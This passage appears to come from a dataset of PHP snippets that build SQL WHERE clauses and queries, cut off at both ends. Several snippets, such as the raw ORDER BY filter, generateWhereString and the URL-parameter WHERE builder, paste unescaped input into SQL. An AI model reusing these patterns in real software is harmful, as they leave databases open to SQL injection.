$post, $config_language_id)\n {\n $sql = \" WHERE pd.language_id = '\" . (int) $config_language_id . \"' \";\n\n // Filter by categories\n if (isset($post['categories'])) {\n $category_ids = array_map('intval', $post['categories']);\n $category_ids = implode(\",\", $category_ids);\n\n $sql .= \" AND p2c.category_id IN (\" . $category_ids . \") \";\n }\n\n // Filter by manufacturers\n if (isset($post['manufacturers'])) {\n $manufacturer_ids = array_map('intval', $post['manufacturers']);\n $manufacturer_ids = implode(\",\", $manufacturer_ids);\n\n $sql .= \" AND p.manufacturer_id IN (\" . $manufacturer_ids . \") \";\n }\n\n // Filter by special_groups\n if (isset($post['special_groups'])) {\n $special_groups_ids = array_map('intval', $post['special_groups']);\n $special_groups_ids = implode(\",\", $special_groups_ids);\n\n $sql .= \" AND ps.product_special_group_id IN (\" . $special_groups_ids . \") \";\n }\n\n // Attach additional chosen products\n if (isset($post['products'])) {\n $product_ids = array_map('intval', $post['products']['id']);\n\n $sql .= \" UNION \" . $query_header;\n $sql .= \" WHERE ps.product_id IN (\" . implode(\",\", $product_ids) . \") AND pd.language_id = '\" . (int) $config_language_id . \"' \";\n }\n\n return $sql;\n }", "public function whereComplex()\n {\n return $this->addComplexCondition('and', $this->conditions);\n }", "protected function getWhere()\n {\n global $debug;\n global $warn;\n\n if ($debug)\n $warn .= '<p>SubDistrictSet::getWhere: ' . \n print_r($this->parms, true) . \"</p>\\n\";\n $where = '';\n $and = 'WHERE ';\n if (!is_array($this->sqlParms))\n $this->sqlParms = array();\n\n // create WHERE clause\n foreach($this->parms as $fldname => $value)\n {\n $fieldLc = SubDistrict::getRealFieldName($fldname);\n switch($fieldLc)\n { // act on specific fields\n case 'sd_census':\n { // census field\n if (is_string($value))\n {\n $censusId = $value;\n $censusObj = new Census(array('censusid'=> $value));\n }\n else\n if ($value instanceof Census)\n {\n $censusObj = $value;\n $censusId = $censusObj->get('censusid');\n }\n $where .= \"$and`SD_Census`=:censusid\";\n $this->sqlParms['censusid'] = $censusId;\n $and = ' AND ';\n if (!$censusObj->isExisting())\n $warn .= \"<p>SubDistrictSet::getWhere: \" . __LINE__ .\n \" Unsupported Census='$value'</p>\\n\";\n break;\n } // census field\n\n case 'sd_distid':\n { // district id field\n if (is_string($value))\n {\n $distId = $value;\n $parms = array('census'=>$censusObj,\n 'id' => $value);\n $districtObj = new District($parms);\n }\n else\n if ($value instanceof District)\n {\n $districtObj = $value;\n $distId = $districtObj->get('id');\n }\n $where .= \"$and`SD_DistId`=:distid\";\n $this->sqlParms['distid'] = $distId;\n $and = ' AND ';\n if (!$districtObj->isExisting())\n $warn .= \"<p>SubDistrictSet::getWhere: \" . __LINE__ .\n \" Unsupported District='$distId'</p>\\n\";\n break;\n } // domain field\n\n default:\n {\n $warn .= \"<p>SubDistrictSet::getWhere: \" . __LINE__ .\n \" Unrecognized search parameter `$fldname`.</p>\";\n break;\n }\n\n } // act on specific fields\n } // loop through all parameters\n\n return $where;\n }", "public function andWhere() {\r\n\t\t$args = func_get_args();\r\n\t\t$statement = array_shift($args);\r\n\t\t//if ( (count($args) == 1) && (is_null($args[0])) ) {\r\n\t\t//\t$this->_wheres = array();\r\n\t\t//\treturn null;\r\n\t\t//}\r\n\t\t$criteria = new Dbi_Sql_Criteria($this, new Dbi_Sql_Expression($statement, $args));\r\n\t\t$this->_wheres[] = $criteria;\r\n\t\treturn $criteria;\r\n\t}", "function where($sql, $params = []) {\n\t\tif (gettype($sql) == 'array') {\n\t\t\t$cols = array();\n\t\t\tforeach ($sql as $col => $val) {\n\t\t\t\t$cols[] = \"`$col` = ?\";\n\t\t\t\t$params[] = $val;\n\t\t\t}\n\t\t\t$sql = implode($cols, \" AND \");\n\t\t}\n\t\t\n\t\tisset($this->stmts['where']) ? $sql = \"AND $sql\" : $sql = \"WHERE $sql\";\n\t\treturn $this->appendStmt('where', $sql, $params);\n\t}", "private function _buildQuery($filters = array())\n\t{\n\t\t// var to hold conditions\n\t\t$where = array();\n\t\t$sql = '';\n\n\t\t// gidnumber\n\t\tif (isset($filters['gidNumber']))\n\t\t{\n\t\t\t$where[] = \"gidNumber=\" . $this->_db->quote($filters['gidNumber']);\n\t\t}\n\n\t\t// action\n\t\tif (isset($filters['action']))\n\t\t{\n\t\t\t$where[] = \"action=\" . $this->_db->quote($filters['action']);\n\t\t}\n\n\t\t// if we have and conditions\n\t\tif (count($where) > 0)\n\t\t{\n\t\t\t$sql = \" WHERE \" . implode(\" AND \", $where);\n\t\t}\n\n\t\tif (isset($filters['orderby']))\n\t\t{\n\t\t\t$sql .= \" ORDER BY \" . $filters['orderby'];\n\t\t}\n\n\t\treturn $sql;\n\t}", "public function build_query(/* ... */)\n {\n $query = [\"SELECT\"];\n $model = $this->get_model();\n // Field selection\n $fields = [];\n foreach ($this->_fields as $_field) {\n $fields[] = $this->_build_select_field($_field);\n }\n $query[] = implode(', ', $fields);\n // Table Selection\n $query[] = 'FROM';\n $query[] = '`' . $model->get_table() . '`';\n // WHERE lookup\n $query[] = $this->build_where();\n if (null !== $this->_orderby) {\n $query[] = $this->_orderby;\n }\n if (null !== $this->_limit) {\n $query[] = $this->_limit;\n }\n return $model->get_connection()->prepare(implode(\" \", $query));\n }", "function addConditionalsToQuery($query, $filledFormFields) {\n\t// Testing if we have to fill the conditional of our SQL statement\n\tif(count($filledFormFields) > 0) {\n\t\t$query .= \" WHERE \";\n\n\n\t\t// Adding the conditionals to the query\n\t\t$i = 0;\n\t\tforeach($filledFormFields as $fieldKey => $fieldValue) {\n\t\t\t// Appending the new conditional\n\t\t\t$queryAppendage = $fieldKey . \" LIKE :\" . $fieldKey . \" \";\n\n\t\t\t$query .= $queryAppendage;\n\t\t\t\n\t\t\t// If there's more conditionals after this, append an \"AND\" as well.\n\t\t\tif($i < count($filledFormFields) - 1) \n\t\t\t\t$query .= \" AND \";\n\n\t\t\t$i++;\n\t\t}\n\t}\n\n\treturn $query;\n}", "public function _generateWhereClause($where, $cols)\n {\n /* Make sure that $where is an array */\n if (!is_array($where) || empty($where)) {\n return $this->_error(E_USER_NOTICE, 'Where clause must be an array');\n }\n\n /* Create some variables */\n $query = '( ';\n\n /* Start gluing together parts of the query */\n foreach ($where as $key => $value) {\n /* This $value is supposed to be a logical operator */\n if ($key % 2 == 1) {\n $and = (strtolower($value) == 'and');\n $or = (strtolower($value) == 'or');\n $xor = (strtolower($value) == 'xor');\n\n /* Check if we have a valid logical operator */\n if (($and === false) && ($or === false) && ($xor === false)) {\n return $this->_error(E_USER_NOTICE, 'Only boolean seperators AND, and OR are allowed');\n }\n\n /* Add the PHP version of the logical operator */\n $query .= ($and === true) ? ' && ' : (($xor === true) ? ' XOR ' : ' || ');\n continue;\n }\n\n /* Generate PHP code for this part */\n if (($query .= $this->_generatePhpIf($value, $cols)) === false) {\n return false;\n }\n }\n\n /* Return our query */\n return $query . ' )';\n }", "public function whereWrap()\n {\n $where = $this->_dqlParts['where'];\n\n if (count($where) > 0)\n {\n array_unshift($where, '(');\n array_push($where, ')');\n\n $this->_dqlParts['where'] = $where;\n }\n\n return $this;\n }", "public function whereClause(&$args, &$joins)\n\t{\n\t\t$key = self::getNewKey($this->column);\n\t\t$addendum = '';\n\n\t\t/* check if we have to do some parsing*/\n\t\tif (self::$columns[$this->column]['type'] === 'date') {\n\t\t\t$args[$key] = strtotime($this->argument);\n\t\t\tif ($this->operator === '=' || $this->operator === '!=') {\n\t\t\t\t$key2 = self::getNewKey($this->column);\n\t\t\t\t$args[$key2] = strtotime(' +1 day', $args[$key]);\n\t\t\t\treturn ($this->operator === '=' ? '' : 'NOT ') . 'm.' . $this->column . \" BETWEEN :$key AND :$key2\";\n\t\t\t}\n\t\t\tif ($this->operator === '>') {\n\t\t\t\t$args[$key] = strtotime('+1 day', $args[$key]);\n\t\t\t} elseif ($this->operator === '<') {\n\t\t\t\t$args[$key] = strtotime('-1 day', $args[$key]);\n\t\t\t}\n\t\t} else {\n\t\t\t$args[$key] = $this->argument;\n\t\t\tif ($this->operator === '~' || $this->operator === '!~') {\n\t\t\t\t$args[$key] = str_replace(array('=', '_', '%', '*', '?'), array('==', '=_', '=%', '%', '_'), $args[$key]);\n\t\t\t\t$addendum = \" ESCAPE '='\";\n\t\t\t}\n\t\t}\n\n\t\t$op = $this->operator;\n\t\tif ($this->operator == '~') {\n\t\t\t$op = 'LIKE';\n\t\t} elseif ($this->operator == '!~') {\n\t\t\t$op = 'NOT LIKE';\n\t\t}\n\n\t\treturn 'm.' . $this->column . ' ' . $op . ' :' . $key . $addendum;\n\t}", "public static function build_form_search_where_sql($form_id, $exclude_parameters = array()){\n global $TFUSE;\n return $TFUSE->ext->seek->build_form_search_where_sql($form_id, $exclude_parameters);\n }", "public function where($arr){//ex of $arr : ['name' => 'LIKE A%','email' => '= [email protected]']\n $c = \"\";\n $x = 0;\n foreach($arr as $key => $v){//for each param, translate to SQL language\n if($x != 0){\n $c .= \" AND\";\n }\n $x++;\n $c .= \" $key $v\";\n }\n $this->params[\"WHERE\"] = $c;//adding the conditions to the query\n return $this;\n }", "function whereAdd($where,$clause)\n{\n\tif(!strlen($clause))\n\t\treturn $where;\n\tif(!strlen($where))\n\t\treturn $clause;\n\treturn \"(\".$where.\") and (\".$clause.\")\";\n}", "private function makeWhere(QueryParams $params)\r\n\t{\r\n\t\t// Add where clause\r\n\t\t$sql = ' WHERE 1 = 1';\r\n\t\tforeach($params as $param)\r\n\t\t{\r\n\t\t\t$key = $param->fieldName;\r\n\t\t\t$val = $param->fieldValue;\r\n\t\t\t\r\n\t\t\t// Always add slashes\r\n\t\t\tif (!is_array($val))\r\n\t\t\t{\r\n\t\t\t\t$val = addslashes((string)$val);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$shortKey = $key;\r\n\t\r\n\t\t\t// Convert foreign field alias to table alias.fieldname\r\n\t\t\tif ($this->isForeignField($key))\r\n\t\t\t{\r\n\t\t\t\t$field = $this->getFieldByAlias($key);\r\n\t\r\n\t\t\t\t// Find table alias\r\n\t\t\t\tif (($alias = $this->tableHasAlias($field->table, $this->tableAliases)) !== false)\r\n\t\t\t\t{\r\n\t\t\t\t\t$key = $alias.'.`'.$field->foreignFieldName.'`';\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t// No alias for table\r\n\t\t\t\t\t$key = '`'.$field->table.'`.`'.$field->name.'`';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t// Find table alias\r\n\t\t\t\tif (($alias = $this->tableHasAlias($this->name, $this->tableAliases)) !== false)\r\n\t\t\t\t{\r\n\t\t\t\t\t$key = $alias.'.`'.$key.'`';\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t// No alias for table\r\n\t\t\t\t\t//$key = '`'.$field->GetTable().'`.`'.$field->GetName().'`';\r\n\t\t\t\t\t$key = '`'.$key.'`';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tswitch ($param->operator)\r\n\t\t\t{\r\n\t\t\t\tcase 'NOT NULL':\r\n\t\t\t\t\t$sql .= \" AND $key IS NOT NULL\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'NULL':\r\n\t\t\t\t\t$sql .= \" AND $key IS NULL\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'IN':\r\n\t\t\t\t\t$sql .= \" AND $key IN (\" . implode(',', $param->fieldValue) . \")\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase '=':\r\n\t\t\t\tcase '>':\r\n\t\t\t\tcase '<':\r\n\t\t\t\tcase '>=':\r\n\t\t\t\tcase '<=':\r\n\t\t\t\tcase '!=':\r\n\t\t\t\tcase 'LIKE':\r\n\t\t\t\t\t$sql .= \" AND $key \" . $param->operator .\" :\" . $shortKey . \" \";\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $sql;\r\n\t}", "static public function BuildSQLWhereClause( $whereArray, $customArray = array() )\r\n\t{\r\n\t\t$where = '';\r\n\t\tif( $whereArray )\r\n\t\t{\r\n\t\t\tforeach( $whereArray as $key => $value )\r\n\t\t\t{\r\n\t\t\t\tif( strlen( $where ) == 0 )\r\n\t\t\t\t{\r\n\t\t\t\t\tif( is_string( $key ) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$where = \" WHERE `\" . $key . \"` = \" . $value;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$where = \" WHERE \" . $value;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tif( is_string( $key ) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$where .= \" AND `\" . $key . \"` = \" . $value;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$where .= \" AND \" . $value;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tif( !empty( $customArray ) )\r\n\t\t{\r\n\t\t\tforeach( $customArray as $value )\r\n\t\t\t{\r\n\t\t\t\tif( strlen( $where ) == 0 )\r\n\t\t\t\t{\r\n\t\t\t\t\t$where = \" WHERE \" . $value;\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$where .= \" AND \" . $value;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $where;\r\n\t}", "public static function buildWhereInClause($column, array $values)\n{\n\t// Form WHERE clause\n\t$clause = ' WHERE ' . self::buildInPredicate($column, $values);\n\n\t// Return clause\n\treturn $clause;\n}", "private function buildWhereString(array $whereFields = [])\n {\n $where = [];\n foreach ($whereFields as $field => $value) {\n $where[] = $field . Operators::EQUALS . $this->getConnection()->quote($value);\n }\n\n return implode(' AND ', $where);\n }", "protected function _compile_wh($where) {\n\t\tif (is_array($where) && count($where) > 0) {\n\t\t\t$statements = array();\n\t\t\tforeach ($where as $key => $val) {\n\t\t\t\t// Get Operator\n\t\t\t\tif ($this->_has_operator($key)) {\n\t\t\t\t\t$statements[] = $this->escape_identifiers($this->_clear_operator($key)) . ' ' . $this->_get_operator($key) . ' ' . $this->escape($val);\n\t\t\t\t} else {\n\t\t\t\t\t$statements[] = $this->escape_identifiers($this->_clear_operator($key)) . ' = ' . $this->escape($val);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$query = ' WHERE ' . implode(' AND ', $statements);\n\n\t\t\treturn $query;\n\t\t} elseif (is_string($where)) {\n\t\t\treturn ' WHERE ' . $where;\n\t\t}\n\n\t\treturn '';\n\t}", "protected function where(array $filter){\n if (array_key_exists(\"order\", $filter)){\n $order = $filter[\"order\"];\n unset($filter[\"order\"]);\n if (gettype($order) != \"array\")\n $order = [$order];\n }\n\n if (array_key_exists(\"limit\", $filter)){\n $limit = $filter[\"limit\"];\n unset($filter[\"limit\"]);\n if (gettype($limit) != \"integer\")\n throw new appException(\"This is off-limits, literally\");\n }\n\n if (!empty($filter)){\n $query = \" WHERE \";\n\n foreach ($filter as $k => $v){\n if (gettype($v) == \"array\"){\n $query .= $this->genTableVar($k) . \" IN ( \";\n $query .= join(\", \", array_fill(0, count($v), \"?\"));\n $query .= \") AND \";\n }\n else if (gettype($v) == \"object\" && get_class($v) == \"dbContains\"){\n $query .= $v->genSql($this->genTableVar($k)) . \" AND \";\n }\n else {\n $query .= $this->genTableVar($k) . \" = ? AND \";\n }\n $this->args[] = $v;\n }\n\n $query = substr($query, 0, -4);\n\n $this->query .= $query;\n }\n\n if (isset($order))\n $this->orderBy($order);\n\n if (isset($limit))\n $this->limit($limit);\n }", "public function where($clause, array $params);", "function _create_filter_sql () {\n\t\t$SF = &$_SESSION[$this->_filter_name];\n\t\tforeach ((array)$SF as $k => $v) $SF[$k] = trim($v);\n\t\t// Generate filter for the common fileds\n\t\tif (strlen($SF[\"text\"]))\t\t$sql .= \" AND text LIKE '%\"._es($SF[\"text\"]).\"%' \\r\\n\";\n\t\tif (strlen($SF[\"engine\"]))\t\t$sql .= \" AND engine=\".intval($SF[\"engine\"]).\" \\r\\n\";\n\t\treturn substr($sql, 0, -3);\n\t}", "function get_where_clause_from_url () {\r\n\t\t$url_params = array();\r\n\t\t$where = array();\r\n\t\t$where_clause = '';\r\n\r\n\t\t$url = $_SERVER['REQUEST_URI'];\r\n\t\t$url_arr = parse_url($url);\r\n\t\tif (!array_key_exists(\"query\", $url_arr)) {\r\n\t\t\treturn '';\r\n\t\t}\r\n\t\t\r\n\t\tparse_str($url_arr[\"query\"], $url_params);\r\n\t\t\r\n\r\n\t\tif (array_key_exists('id', $url_params)) {\r\n\t\t\tif (is_numeric($url_params['id'])) {\r\n\t\t\t\t$where[] = 'id = ' . $url_params['id'];\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (array_key_exists('first_name', $url_params)) {\r\n\t\t\tif (ctype_alpha($url_params['first_name'])) {\r\n\t\t\t\t$where[] = 'first_name = ' . \"'\" . $url_params['first_name'] . \"'\";\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tif (array_key_exists('last_name', $url_params)) {\r\n\t\t\tif (ctype_alpha($url_params['last_name'])) {\r\n\t\t\t\t$where[] = 'last_name = ' . \"'\" . $url_params['last_name'] . \"'\";\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tif (array_key_exists('email', $url_params)) {\r\n\t\t\tif (filter_var($url_params['email'], FILTER_VALIDATE_EMAIL)) {\r\n\t\t\t\t$where[] = 'email = ' . \"'\" . $url_params['email'] . \"'\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (array_key_exists('gender', $url_params)) {\r\n\t\t\tif (ctype_alpha($url_params['gender'])) {\r\n\t\t\t\t$where[] = 'gender = ' . \"'\" . $url_params['gender'] . \"'\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (array_key_exists('title', $url_params)) {\r\n\t\t\tif (preg_match(\"/\\\\w|\\\\s+/\", $url_params['title'])) {\r\n\t\t\t\t$where[] = 'title = ' . \"'\" . $url_params['title'] . \"'\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (array_key_exists('dept', $url_params)) {\r\n\t\t\tif (preg_match(\"/\\\\w|\\\\s+/\", $url_params['dept'])) {\r\n\t\t\t\t$where[] = 'dept = ' . \"'\" . $url_params['dept'] . \"'\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (!empty($where)) {\r\n\t\t\t$where_clause = \"WHERE \" . implode(\" AND \", $where);\r\n\t\t}\r\n\r\n\t\treturn $where_clause;\r\n\r\n\t}", "public function resolveConditionData($params)\n {\n $dataWhere = \"\";\n\n $lowerKeyd = array_change_key_case($params, CASE_LOWER);\n $glue = strtoupper(isset($lowerKeyd[self::OPERATOR_PREFIX . 'operator']) && strtolower($lowerKeyd[self::OPERATOR_PREFIX . 'operator']) == \"or\" ? \"OR\" : \"AND\");\n unset($lowerKeyd);\n\n foreach ($params as $k => $v) {\n if (strpos($k, self::OPERATOR_PREFIX) === 0) {\n continue;\n }\n if (is_numeric($k)) {\n if (is_array($v)) {\n $dataWhere .= ($dataWhere ? \" {$glue} (\" : \"(\") . $this->resolveConditionData($v) . \")\";\n }\n else { // raw\n $dataWhere .= ($dataWhere ? \" {$glue} \" : \"\") . $v;\n }\n }\n else {\n $expl = explode(\" \", $k, 2);\n $operator = count($expl) > 1 ? $expl[1] : \"=\";\n if ($operator == \"=\" && (is_array($v))) {\n $operator = \"IN\";\n }\n if ($operator == \"!=\" && (is_array($v))) {\n $operator = \"NOT IN\";\n }\n if ($operator == \"=\" && ($v === NULL)) {\n $operator = \"IS\";\n }\n if ($operator == \"!=\" && ($v === NULL)) {\n $operator = \"IS NOT\";\n }\n $dontQuote = false;\n if ($v === NULL) {\n $v = \"NULL\";\n $dontQuote = true;\n }\n if ($v === TRUE) {\n $v = 1;\n }\n if ($v === FALSE) {\n $v = 0;\n }\n $column = $expl[0];\n if (strpos($column, self::DONT_QUOTE_VALUE_PREFIX) === 0) {\n $column = substr($column, 1);\n $dontQuote = true;\n }\n $dataWhere .= ($dataWhere ? \" {$glue} \" : \"\") . $this->quoteColumn($column) . \" {$operator} \" . $this->_quoteVal($v, $dontQuote);\n }\n }\n\n return $dataWhere;\n }", "public function buildQueryLimits()\n\t{\n\t\tglobal $modSettings;\n\n\t\t$extra_where = [];\n\n\t\tif (!empty($this->_searchParams->_minMsgID) || !empty($this->_searchParams->_maxMsgID))\n\t\t{\n\t\t\t$extra_where[] = 'id >= ' . $this->_searchParams->_minMsgID . ' AND id <= ' . (empty($this->_searchParams->_maxMsgID) ? (int) $modSettings['maxMsgID'] : $this->_searchParams->_maxMsgID);\n\t\t}\n\n\t\tif (!empty($this->_searchParams->topic))\n\t\t{\n\t\t\t$extra_where[] = 'id_topic = ' . (int) $this->_searchParams->topic;\n\t\t}\n\n\t\tif (!empty($this->_searchParams->brd))\n\t\t{\n\t\t\t$extra_where[] = 'id_board IN (' . implode(',', $this->_searchParams->brd) . ')';\n\t\t}\n\n\t\tif (!empty($this->_searchParams->_memberlist))\n\t\t{\n\t\t\t$extra_where[] = 'id_member IN (' . implode(',', $this->_searchParams->_memberlist) . ')';\n\t\t}\n\n\t\treturn $extra_where;\n\t}", "public function buildSqlString()\n {\n $param = array();\n\n $join = '';\n $filter = '';\n $order = '';\n $limit = '';\n\n // Create the fieldprefix. If given as alias use this, otherwise we use the tablename\n $field_prefifx = !empty($this->alias) ? $this->alias : '{db_prefix}' . $this->tbl;\n\n // Biuld joins\n if (!empty($this->join))\n {\n $tmp = array();\n\n foreach ( $this->join as $def )\n $tmp[] = ' ' . $def['by'] . ' JOIN ' . '{db_prefix}' . (isset($def['as']) ? $def['tbl'] . ' AS ' . $def['as'] : $def['join']) . ' ON (' . $def['cond'] . ')';\n }\n\n $join = isset($tmp) ? implode(' ', $tmp) : '';\n\n // Create fieldlist\n if (!empty($this->fields))\n {\n // Add `` to some field names as reaction to those stupid developers who chose systemnames as fieldnames\n foreach ( $this->fields as $key_field => $field )\n {\n if (in_array($field, array('date', 'time')))\n $field = '`' . $field . '`';\n\n // Extend fieldname either by table alias or name when no dot as alias/table indicator is found.\n #if (strpos($field, '.') === false)\n # $field .= (!empty($this->alias) ? $this->alias : $this->tbl) . '.' . $field;\n\n $this->fields[$key_field] = $field;\n }\n\n $fieldlist = implode(', ', $this->fields);\n } else\n {\n $fieldlist = '*';\n }\n\n // Create filterstatement\n $filter = !empty($this->filter) ? ' WHERE ' . $this->filter : null;\n\n // Create group by statement\n $group_by = !empty($this->group_by) ? ' GROUP BY ' . $this->group_by : null;\n\n // Create having statement\n $having = !empty($this->having) ? ' HAVING ' . $this->having : null;\n\n // Create order statement\n $order = !empty($this->order) ? ' ORDER BY ' . $this->order : null;\n\n // Create limit statement\n if (!empty($this->limit))\n {\n $limit = ' LIMIT ';\n\n if (isset($this->limit['lower']))\n $limit .= $this->limit['lower'];\n\n if (isset($this->limit['lower']) && isset($this->limit['upper']))\n $limit .= ',' . $this->limit['upper'];\n }\n\n // We need a string for the table. if there is an alias, we have to set it\n $tbl = !empty($this->alias) ? $this->tbl . ' AS ' . $this->alias : $this->tbl;\n\n // Is this an distinct query?\n $distinct = $this->distinct ? 'DISTINCT ' : '';\n\n // Create sql statement by joining all parts from above\n $this->sql = 'SELECT ' . $distinct . $fieldlist . ' FROM {db_prefix}' . $tbl . $join . $filter . $group_by . $having . $order . $limit;\n\n return $this->sql;\n }", "protected function getWhereClauseForEnabledFields() {}", "private function generateWhereString($array){\n\t\t$str = \" WHERE \";\n\t\tforeach($array as $k => $v){\n\t\t\t$str .= \" $k = $v\";\n\t\t}\n\t\treturn $str;\n\t}", "public function getWhereClauseCondition() {\n\n if (isset($this->whereClauseCondition)) {\n $setCondition = $this->whereClauseCondition;\n return $setCondition;\n } else {\n $defaultCondition = \"=\";\n return $defaultCondition;\n }\n }", "public function where()\r\n {\r\n $arguments = func_get_args();\r\n $columnName = array_shift($arguments);\r\n $column = $this->getColName($columnName);\r\n if(isset($arguments[2]))\r\n {\r\n $namedCondition = $arguments[2];\r\n unset($arguments[2]);\r\n }\r\n else\r\n {\r\n $namedCondition = null;\r\n }\r\n list($value, $comparison) = self::getValueAndComparisonFromArguments($arguments);\r\n $this->addCondition('and', $column, $comparison, $value, $namedCondition);\r\n \r\n return $this;\r\n }", "public function getWhereClause($filter) {\n $fld = $filter->datafield;\n $condition = $filter->condition;\n $filtervalue = $filter->value;\n\n $value = \"\";\n switch ($condition) {\n case \"CONTAINS\":\n $condition = \"LIKE\";\n $value = \"%{$filtervalue}%\";\n break;\n case \"DOES_NOT_CONTAIN\":\n $condition = \"NOT LIKE\";\n $value = \"%{$filtervalue}%\";\n break;\n case \"EQUAL\":\n $condition = \"=\";\n $value = $filtervalue;\n break;\n case \"NOT_EQUAL\":\n $condition = \"<>\";\n $value = $filtervalue;\n break;\n case \"GREATER_THAN\":\n $condition = \">\";\n $value = $filtervalue;\n break;\n case \"LESS_THAN\":\n $condition = \"<\";\n $value = $filtervalue;\n break;\n case \"GREATER_THAN_OR_EQUAL\":\n $condition = \">=\";\n $value = $filtervalue;\n break;\n case \"LESS_THAN_OR_EQUAL\":\n $condition = \"<=\";\n $value = $filtervalue;\n break;\n case \"STARTS_WITH\":\n $condition = \"LIKE\";\n $value = \"{$filtervalue}%\";\n break;\n case \"ENDS_WITH\":\n $condition = \"LIKE\";\n $value = \"%{$filtervalue}\";\n break;\n case \"NULL\":\n $condition = \"IS NULL\";\n $value = \"\";\n break;\n case \"NOT_NULL\":\n $condition = \"IS NOT NULL\";\n $value = \"\";\n break;\n }\n\n return (object)[\n 'field' => $fld,\n 'condition' => $condition,\n 'value' => $value,\n ];\n }", "function cond_to_sqladd($cond) {\n\t$s = '';\n\tif(!empty($cond)) {\n\t\t$s = ' WHERE ';\n\t\tforeach($cond as $k=>$v) {\n\t\t\tif(!is_array($v)) {\n\t\t\t\t$v = addslashes($v);\n\t\t\t\t$s .= \"$k = '$v' AND \";\n\t\t\t} else {\n\t\t\t\tforeach($v as $k1=>$v1) {\n\t\t\t\t\t$v1 = addslashes($v1);\n\t\t\t\t\t$k1 == 'LIKE' AND $v1 = \"%$v1%\";\n\t\t\t\t\t$s .= \"$k $k1 '$v1' AND \";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$s = substr($s, 0, -4);\n\t}\n\treturn $s;\n}", "function WhereClause($chkfield,$id=0)\n\t{\n\t\t$where=\"\";\n\t\tif(is_array($chkfield))\n\t\t{\n\t\t\twhile(list($k,$v)=each($chkfield))\n\t\t\t{\n\t\t\t\tif(isset($k) && isset($v))\n\t\t\t\t{\n\t\t\t\t\tif(strlen($where))\n\t\t\t\t\t{\n\t\t\t\t\t\t$where.=\" and \" . $k . \"=\" . $this->sqlFormatField($v);\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$where=$k . \"=\" . $this->sqlFormatField($v);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}else{\n\t\t\tif($chkfield)\n\t\t\t{\n\t\t\t\tif($id)\n\t\t\t\t{\n\t\t\t\t\t$where=$chkfield . \"=\" . $this->sqlFormatField($id);\n\t\t\t\t}else{\n\t\t\t\t\t$where=$chkfield;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $where;\n\t}", "protected function genWhere(array $where): string\n {\n $outWhere = [];\n foreach ($where as $k => $v) {\n if (is_int($k)) {\n $outWhere[] = $v;\n } elseif (is_null($v)) {\n $outWhere[] = $k . ' is null';\n } else {\n $outWhere[] = $k . ' = ?';\n }\n }\n return !empty($outWhere) ? implode(' AND ', $outWhere) : '1 = 1';\n }", "public function where($whereClause = null)\r\n\t\t{\r\n\t\t\tif($whereClause != null and $whereClause != 'false'){\r\n\t\t\t\tif($this->_where != '') $this->_where .= ' ' . $whereClause;\r\n\t\t\t\telse $this->_where = ' WHERE ' . $whereClause;\r\n\t\t\t}\r\n\t\t\telse if($whereClause == 'false'){\r\n\t\t\t\t//this is used as a bypass on some methods\r\n\t\t\t\t$this->_where = 'false';\r\n\t\t\t}\r\n\t\t\treturn $this;\r\n\t\t}", "function addClause( $clause ) {\n\n\t\tglobal $whereClause;\n\n\t\t$whereClause .= ( $whereClause ) ? ' and ' : ' where ';\n\t\t$whereClause .= $clause;\n\n\t}", "public function buildSearchQuery()\n {\n return $this->createSearchQuery()->getQuery();\n }", "private function sql_whereAnd_sysLanguage()\n {\n if ( !isset( $this->sql_filterFields[ $this->curr_tableField ][ 'languageField' ] ) )\n {\n return;\n }\n\n $languageField = $this->sql_filterFields[ $this->curr_tableField ][ 'languageField' ];\n $languageId = $GLOBALS[ 'TSFE' ]->sys_language_content;\n\n // DRS :TODO:\n if ( $this->pObj->b_drs_devTodo )\n {\n $prompt = '$this->int_localisation_mode PI1_SELECTED_OR_DEFAULT_LANGUAGE: for each language a query!';\n t3lib_div::devlog( '[INFO/TODO] ' . $prompt, $this->pObj->extKey, 0 );\n }\n // DRS :TODO:\n\n switch ( $this->int_localisation_mode )\n {\n case( PI1_DEFAULT_LANGUAGE ):\n $andWhere = \" AND \" . $languageField . \" <= 0 \";\n break;\n case( PI1_SELECTED_OR_DEFAULT_LANGUAGE ):\n $andWhere = \" AND ( \" .\n $languageField . \" <= 0 OR \" .\n $languageField . \" = \" . intval( $languageId ) .\n \" ) \";\n break;\n case( PI1_SELECTED_LANGUAGE_ONLY ):\n $andWhere = \" AND 